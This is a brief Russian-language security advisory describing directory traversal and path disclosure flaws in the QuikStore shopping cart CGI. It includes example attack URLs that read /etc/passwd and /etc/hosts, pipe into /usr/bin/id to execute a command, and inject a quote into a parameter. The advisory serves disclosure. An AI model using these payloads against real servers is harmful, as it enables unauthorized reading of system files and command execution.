Несколько уязвимостей в QuikStore shopping cart

Описание: Уязвимость обнаружена в QuikStore shopping cart. Удаленный пользователь может просматривать файлы на системе. Удаленный пользователь может определить инсталляционный путь.

Удаленный пользователь может представить специально обработанный URL, содержащий '../' символы обхода каталога, чтобы просматривать произвольные файлы на системе с привилегиями процесса Web сервера.

Пример:

 http://[target]/quikstore.cgi?blah&template=../../. ./../../../../../../../etc/passwd%00.html
http://[target]/quikstore.cgi?blah&template=../../../../../../../../../../../../etc/hosts
http://[target]/quikstore.cgi?blah&t emplate=../../../../../../../../../../../../usr/bin/id|

 
http://[target]/cgi-bin/quikstore.cgi?store='

URL производителя: http://www.quikstore.com

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.